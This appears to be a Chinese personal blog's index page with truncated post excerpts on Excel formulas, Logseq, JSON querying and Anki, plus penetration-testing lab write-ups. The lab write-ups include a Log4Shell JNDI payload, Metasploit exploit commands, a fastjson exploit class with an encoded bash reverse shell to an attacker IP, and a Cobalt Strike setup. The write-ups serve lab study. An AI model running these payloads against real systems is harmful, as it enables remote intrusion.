excel中的小技巧WPS版
引子上班经常用到excel,工作中遇到的一些繁琐的工作需要用到一些复杂的excel公式,俺记性比较差,整了一个表在这里,方便俺快速查询(复制粘贴)。
每个人有每个人的做法,在这里先叠甲:
本文并非科普性文章,难免会出错
你可能有更好的思路,欢迎提供建议
快捷键
快捷键
功能
c-m
合并单元格
c-d
批量复制
常用公式拼接字符A1&A2&"nb"
去除左右空行与不可见字符前者为去除空格,后者为去除不可见字符
1=TRIM(CLEAN(A1))
excel做split实际上在excel中做split很麻烦,我们有一个简化的场景:取某分隔符前或后的字符串
对于这个简化的场景仅需要LEFT或MID,同时强烈建议使用TRIM来删除空格
下面是一个对B5单元格进行取空格前/后的所有字符的场景
12=LEFT(TRIM(B5),FIND(" ",TRIM(B5)))=MID(B5, FIND(",", B5) + 1, LEN(B5))
对于复杂场景应使用到多个FIND
1=MID(A1, ...
记录一次logseq中vim插件快捷键冲突的奇葩事件
引子这一切的一切还要从面试官打不通俺的电话说起,最开始俺还以为俺的小破手机又出毛病了呢。俺尝试了n个人的手机给俺打电话,都能打通。俺又想是不是苹果勿扰模式的问题?勿扰模式也应该有通话记录的啊。难道是电话黑名单??俺尝试把俺的所有电话黑名单删除掉,静候佳音。
调整思路事实是,俺仍然没有收到电话。百思不得其解,直至俺打开了俺的简历。看到简历上竟赫然写着熟悉OWSP TOP11、熟悉log5j2,扭头看了下电话那一栏,俺的电话号码竟然”被”加了1。原因找到了,俺错怪了俺的老伙计(iphone se 2020 64G 战损版),是简历写错了,这是个悲伤的故事。
为什么数字会被加1呢?难道物理学真的不存在了?水滴为了阻止我找工作在偷偷陷害我?
但是计算机里0就是0,1就是1,他没有问题,绝对是我的问题。
谁动了俺的简历!回归源头,俺回到了俺的logseq中,发现的确简历被莫名其妙的修改了,修改的很美,每一行的第一个数字都被加了1。
剧透一下,右上角的Normal模式,是他,他是罪魁祸首。
找了很久也没有找到是谁的问题。很巧啊,俺用vim的时候在可视模式下按了一下c-a(vim中数字自增的快 ...
记录一次大量数据查询的优雅解决方案
引子最近有了一个从大量json数据中做查询的一个需求,期间设想了多个方案,最后通过数据库查询这种还算优雅的方式解决了,记录一下。
写在前面本篇通过具体案例来进行演示,其中数据源是大量的json,且为一个相同对象的数组,目的是从这些json中做查询、筛选。当然这并不是一成不变的,数据可以是任意格式,查询也可能千奇百怪,俺希望读者也能根据俺的思路举一反三,找到优雅的解决方案。
注意:对数据操作不当可能会导致损坏,这里仅作思路参考。
俺的心路历程刚开始得知这个需求时,最初的json很大,打开非常耗时,并且在纯文本中对json做人肉解析实在有些难了,俺的解决方案是给他整成excel之类的格式,直接用图形化筛选就好了。
json转excel最开始俺想复杂了,俺寻思先转成csv再转成excel(个人看法:在某种程度上这csv不就是excel嘛,所以这多转了一道)。
后来经过一顿摸索,直接整了个py脚本,json转excel。这个脚本会放到后面。
对于大量的数据来说,使用excel的筛选就有点捉襟见肘了。
json转csv,csv导入数据库上一步中间转了一道csv。突发奇想为什么不能把这个csv扔到 ...
CVE-2021-44228
概述Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。
产生原因及影响在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
环境搭建vulhub
12cd log4j/CVE-2021-44228docker-compose up -d
复现漏洞检测auxiliary/scanner/http/log4shell_scanner
123456use auxiliary/scanner/http/log4shell_scannerset RHOSTS 127.0.0.1set RPORT 8983set SRVPORT 4266set SRVHOST 192.168.2.183run
创建JNDI监听
1j8 -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAta ...
CFS靶场
搭建1链接: https://pan.baidu.com/s/15wGipVtP7thSCntm1aSEKw?pwd=pikv 提取码: pikv
介绍这个靶场俺没得来源,是用来学习内网渗透用的。比较简陋的一个靶场
共有三台主机
PC1: centos 192.168.198.134
PC2: ubuntu 192.168.22.22
PC3: windows 192.168.33.33
网络拓扑
本文涉及代理及多层代理,仅仅添加了配置,没有做详细的解释。
攻击DMZ获取控制权访问该站点,发现是php站点,使用漏扫进行扫描
1./nuclei -target http://192.168.122.88
进行漏洞利用
123456use exploit/unix/webapp/thinkphp_rceset RHOSTS 192.168.122.88set RPORT 80set SRVPORT 4466set LHOST 192.168.2.183run
成功getshell
做了一半换重新整靶场了,DMZ主机的ip为192.168.198.134
DMZ信息收集查看当 ...
fastjson反序列化
概述fastjson是java中解析json的库。
产生原因在json字符串中存在@type属性时,fastjson会将该字符串解析为其指定的类。导致不受信任的类被反序列化。
影响代码执行等
小于等于1.2.68
环境搭建12cd fastjson/1.2.24-rcedocker-compose up -d
复现发送一个json请求
Exp构造
1234567891011121314import java.lang.Runtime;import java.lang.Process;public class Exp { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTgzLzQ0NDQgMD4mMQ== ...
linux下优雅地使用CobaltStrike
引子学习内网渗透时使用cs。网上存在一些植入了后门的cs,让人难以分辨。俺决定在docker里运行server。
服务端物料准备jdk-21
解压cs
你应该有以下圈出的六个文件
修改启动脚本我们直接给容器一个jdk,就不用在dockerfile里编写下载的逻辑了
修改启动脚本teamserver,在开头添加
1PATH=$PATH:`pwd`/jdk-21/bin
dockerfile编写这里的暴露端口可以自行选择配置
1234567FROM ubuntu:latestRUN apt update && apt install -y libfreetype6VOLUME /appWORKDIR /appEXPOSE 50050EXPOSE 4700-4800ENTRYPOINT ["/app/teamserver"]
构建镜像
1docker build -t cs:latest .
到这里我们的server镜像就整好了
运行命令请注意,这里必须要在Server目录下,因为要映射数据卷。映射数据卷是要保存你的server数据。
1docke ...
logseq联动anki
引子之前写过一个自动同步anki的脚本,用起来不是很理想。寻找更好的代替方案。于是找到了logseq-anki-sync这个项目。这里浅浅记录一下,用作备忘。
安装安装主要分两个步骤,logseq插件安装以及anki插件安装。
官方仓库中提供了安装视频,这里不做演示。
卡片编写及同步我们在logseq中使用#card去标记记忆卡片。现在#card被用作anki同步的标识,插件会将被card标识的块以及子块作为卡片同步到anki。
一个实例:
logseq内容
点击进行同步
查看anki中内容
将将,你就会发现Default牌组中出现你的卡片啦
预览长这样
你的可能会包含父块的内容,我进行了配置,想要修改请参考配置章节
复杂卡片的编写多行卡片的类型一共分为以下几种类型
forward(默认类型)
incremental(随机隐藏一行)
reversed(隐藏问题)
bidirectional(incremental与reversed的结合)
实际上当你尝试了这些类型后,他们只是在anki中的text存在一些小差异。观察这些差异可以让你在编写Cloze卡片时更得心应手。
卡片组 ...
linux下微信小程序抓包
引子学习微信小程序渗透测试时,第一步便是抓包。然而Linux下进行微信小程序抓包有些许小坑点。网上的教程或多或少存在一些问题。
前言微信官方出Linux客户端啦,我们有救了。
官方推出了AppImage包,我们可以在任何Linux环境运行微信。
配置burp证书运行以下脚本,将burp证书导入到系统证书中并信任。
123# 替换成你的burp证书cp burp.cer /etc/ca-certificates/trust-source/anchors/burp.cerupdate-ca-trust
重启操作系统
抓包示例通过系统代理将微信小程序包转发到burp中
俺尝试了一下proxychains,不太能用,放弃了
运行以下脚本
123export http_proxy="http://127.0.0.1:8080"export https_proxy="http://127.0.0.1:8080"./WeChatLinux_x86_64.AppImage
我们整一个alias在环境变量中,下次就可以愉快的使用啦
123# 微信小程序抓包 ...
linux下安卓渗透测试抓包环境配置
引子学习安卓app渗透测试时,网上大部分教程对于linux用户不太友好。
本文会通过常见的抓包场景介绍一些linux下的软件和一些小技巧。
基础知识root:获取安卓系统最高权限
xposed、LSPosed、LSPatch:一类安卓系统的hook框架
准备工作adb
shizuku
GitHub RikkaApps/Shizuku: Using system APIs directly with adb/root privileges from normal apps through a Java process started with app_process.
LSPatch
GitHub LSPosed/LSPatch: LSPatch: A non-root Xposed framework extending from LSPosed
Genymotion虚拟机+证书(附带脚本)Genymotion是一款跨平台的安卓虚拟机。功能强大
注意,Genymotion并非自由软件
镜像选择每个镜像后都标注了cpu、内存、硬盘参数,我们根据自己的宿主 ...